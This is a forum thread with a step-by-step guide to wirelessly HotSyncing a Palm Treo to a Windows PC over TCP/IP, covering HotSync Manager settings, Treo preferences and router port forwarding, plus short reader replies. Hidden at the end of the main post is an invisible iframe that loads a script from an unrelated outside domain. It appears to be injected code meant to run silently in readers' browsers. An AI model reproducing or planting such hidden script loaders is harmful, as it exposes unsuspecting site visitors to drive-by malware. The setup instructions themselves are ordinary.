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    How do I hot sync wirelessly from Treo to PC?

    Okay. I finally decided to set this up considering when I went to Holland last weekend I almost lost my info I had just entered in the Treo. My battery almost died on me. I was using an emergency charger that uses batteriers to charge the Treo. Word to the wise: Don't be so certain you will be able to buy batteries when you get there.

    Be advised I wrote this also for the not so computer literate person.

    Here goes. When I got my Treo to sync wirelessly it was pretty neat watching it. So most people should like it. Only down side is it is a bit slow depending on internet connection on both devices. Fastest I'm guessing could be a little more than a minute to hotsync. Also depends on how much of the information on the Treo are you hot syncing. It uses the internet on the Treo and on the desktop Pc so it can cost you a little at least from your Treo. Also it won't work if you don't have an internet connection for either item. And if you have a tight security on the pc it probably won't work either. It works well if your pc and Treo has an always on internet connection. For the Treo it means to have GPRS(Treo 270 or Treo 180) or be on Sprint's always on internet(Treo 300). For the desktop pc it means to use a cable modem or DSL or ISDN or be connected to a network. Using one of these items lets you keep a static IP address. If you use a dial up number to connect to the internet it can get kind of expensive for you considering you would have to leave the computer on and the internet on to hot sync. Also you would only be able to get the IP address after connecting to the internet since the IP address changes everytime you connect to the internet. So you would also have to change the settings on your Treo everytime. With cable modems ect.. just cut on the pc and the internet comes on also. And you just pay a monthly fee for internet usage. Big plus. Also you won't have to change the settings on your Treo everytime since you will keep the same IP address. Now that being said here is what you have to do:

    Sorry if I wasn't more detailed. Hope this helps anyone.

    To set up your TREO to sync without cables or cradles read below.
    If you have a broadband/always on connection to the internet you will find remote hotsync a life saver. If you have dail up internet connection this might not be the best rote to hot sync. Unless you just want to try it for kicks.


    ON YOUR COMPUTER (assumes a PC):

    1. Make sure HOYSYNC MANAGER is set to run when your computer starts up.

    a) to do this click on hotsync manager icon near time
    b) choose setup
    c) go to the tab marked GENERAL
    d) make sure a check mark appears before the words
    ' ALWAYS AVAILABLE (PUT IN STARTUP FOLDER)

    2. Make sure HOYSYNC MANAGER is set to accept TCP/IP Network request to sync.

    a) to do this click on hotsync manager icon near time
    b) make sure a check mark appears before the word network

    3. Make sure HOYSYNC MANAGER is setup on your network.

    a) to do this click on hotsync manager icon near time
    b) choose setup
    c) go to the tab marked NETWORK
    d) make sure a check mark appears before the user who
    wants to sync over the internet.
    e) click on the button marked 'TCP/IP SETTINGS...'
    f) To speed syncing enter your computers subnet mask if
    known. ( TIP! running the command 'ipconfig /all' in DOS
    shows the subnet mask)

    ON YOUR TREO 300:

    I. Set up HOTSYNC for Network Mode!
    A) If not in Hotsync app click on the hotsync icon
    B) press the settings button (the one with the blue home on it)
    C) under HOTSYNC Options click on MODEM SYNC PREFS
    you can also just press O
    D) choose NETWORK
    E) press OK

    II. Set up HOTSYNC for Lansync!
    A) If not in Hotsync app click on the hotsync icon
    B) press the settings button (the one with the blue home on it)
    C) under HOTSYNC Options click on LANSYNC PREFS
    you can also just press L
    D) choose LANSYNC
    E) press OK

    III. Set up HOTSYNC to connect to your PC
    A) If not in Hotsync app click on the hotsync icon
    B) Press the settings button (the one with the blue home on it)
    C) Under HOTSYNC Options click on PRIMARY PC SETUP
    you can also just press P
    D) Under PRIMARY PC NAME:
    1) enter "!!"
    E) Under PRIMARY PC ADDRESS:
    1) enter your PC's IP address
    TIP! on windows 9x,ME,XP,2000 to get your address press
    START->then press->under OPEN: type COMMAND->
    and press OK. In the DOS box that opens type
    IPCONFIG. Your IP address is shown. type EXIT to get
    out of dos.
    F) Under SUBNET MASK (OPTIONAL) :
    1) enter your PC's Subnet Mask address
    TIP! on windows 9x,ME,XP,2000 to get your address press
    START->then press->under OPEN: type COMMAND->
    and press OK. In the DOS box that opens type
    IPCONFIG /ALL. Your Subnet Mask is shown.
    type EXIT to get out of dos.

    IV. Set up HOTSYNC for what you want to sync!
    A) If not in Hotsync app click on the hotsync icon
    B) press the settings button (the one with the blue home on it)
    C) under HOTSYNC Options click on CONDUIT SETUP
    you can also just press D
    D) By default all your applications are checked
    E) You may wish to speed up syncing by unchecking apps you
    dont want synced.

    V. Set up HOTSYNC for the TREO's WIRELESS MODEM
    A) If not in Hotsync app click on the hotsync icon
    B) press the settings button (the one with the blue home on it)
    C) under HOTSYNC Options click on CONNECTION SETUP
    you can also just press S
    D) By default WIRELESS MODEM is highlighted.
    If not click on WIRELESS MODEM.
    E) press DONE

    VI. Set up HOTSYNC for the SPRINT PCS VISION network
    A) If not in Hotsync app click on the hotsync icon
    B) select MODEM instead of local.
    C) under the icon of the phone and hotsync click on the
    dashed box. probably labeled select service.
    D) You are taken to the network preferences screen.
    E) Be sure the Service is listed as SPRINT-visionname01
    ( where visionname01 is probably your PCS VISION username)
    F) Choose done

    VII. SYNC YOUR HANDHELD WHILE YOUR IN FRONT OF YOUR PC
    A)If not in Hotsync app click on the hotsync icon
    B)Press the phone and hotsync logo to begin the sync.
    C) you will see the words "connecting with the desktop"
    D) you will see the works "identifying user..."
    E) On your desktop you may be prompted to select a User
    Name for this sync. Choose your username.

    If it works twice. Be confident it will work when you need it. Just have to keep your PC on!

    *ROUTER OWNERS OR REMOTE SYNCERS USING NAT OR
    FIREWALL:
    - Be sure to configure your firewall to open up TCP ports 14237 and UDP ports 14238. If you cant specify just choose 14237 and 14238.
    - Make sure that when you set the ip on your palm that you set it to the routers public ip not your local pc private ip by way of ipconfig.
    - If your using a domain name set your domain name to your routers public ip and and on palm enter domain name in host field and leave all others blank.
    - Be sure that all traffic to those ports goes to the ip of the LAN PC that is running HOT SYNC MANAGER.
    - Remember the IP address in step III part E has to be a WAN address not a private or internal LAN IP address, like 192.168.0.99
    - After a successful sync the ip address listed in PRIMARY PC SETUP may be replaced by the one in hotsync manager. Meaning if your hotsync manager is on an internal ip like 192.168.0.99 then your TREO's PRIMARY PC IP will be 192.168.0.99 and therefore need to be changed to a WAN address. I believe by making your PRIMARY PC NAME !! this won't happen.

    * OFFICE USERS
    REMEMBER TO CHECK WITH YOUR IT GALS/GUYS and/or SYSTEM ADMINISTRATOR.

    *SECURITY MINDED USERS
    Network Syncing is not the most secure thing in the world. Read Security information on it at bugtraq or your favorite security watering hole.

    The writing above was taken from someone else's experience. Below is what I did at home to get it to work for me. Both versions are about the same. I just wanted to make sure I didn't forget anything.

    1) On your PC that has the hot sync app:
    Right click the Hot sync icon. For windows Computers should be located next to the time in the bottom right corner unless your start button has been moved. Don't know about Apple computers.
    Click on network.
    Right click hot sycn icon again. Should have a check mark next to network and local. Click on setup. Then click on network. Check which user will use hot sync. Then click TCP/IP settings.The following should come up. Primary PC name, Primary PC address, and Subnet Mask. If your using a dial up connection to connect to the internet you must first connect to the internet to get this informtion.
    2) On your Treo:
    In the main select Hot sync.Pull down the option menu and select Modem Sync Prefs.Select network. Hit ok. Go to options again select LanSync Prefs. Select Lansync. Hit ok. Go to options again select Primary PC address. Enter the information from the desktop computer. Hit ok. Go to options again select connection setup and select wireless modem. Hit done. For first time just hotsync one item. Go to options again and select conduit setup. De-select all items except one. Hit ok. Finally on the screen that has the hot sync icon make sure modem is highlight and the service you use to connect to the internet is select( under the hot sync icon).
    3) Your ready. Just hit the hot sync icon and it should connect.

    One more thing, if you have a router you have to open two ports on the router for this to work. You need to forward both TCP and UDP on ports 14237 AND 14238.

    Also, if you are using NAT, here's an undocumented tip: On the Treo, when you set the Primary PC settings, make the system name "!!" -- two exclamation points -- this will prevent the Treo from automatically changing the IP from the public IP of your gateway to the private IP on the PC.

    This should work for most people. I don't know about mac os computers. It may and it may not.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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    well im stuck because when I try to use manager either thru icon or in the pull down menu on in the palm desktop nothing happens. I tried removing and reloading but still no access to manager. I loaded all from treo/handspring install cd.

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    THANK YOU...YOU ARE AWESOME

    THANKS SO MUCH. TRYING TO FIND DOCUMENTATION FROM THE PROVIDER HAS BEEN A HEADACHE. YOU ARE TRULY BLESSED. THIS IS INCREDIBLE.

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    I have tried all you posted but I cant seem to get it to work any help would be appreciated. My treo is on the Sprint network and my router is a DI-524
    I currently use a DSL connection through bellsouth

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    Thank you very much. This rocks!!! I use Windows MCE 2005 and this is the only way to sync my Treo 600

    Great info

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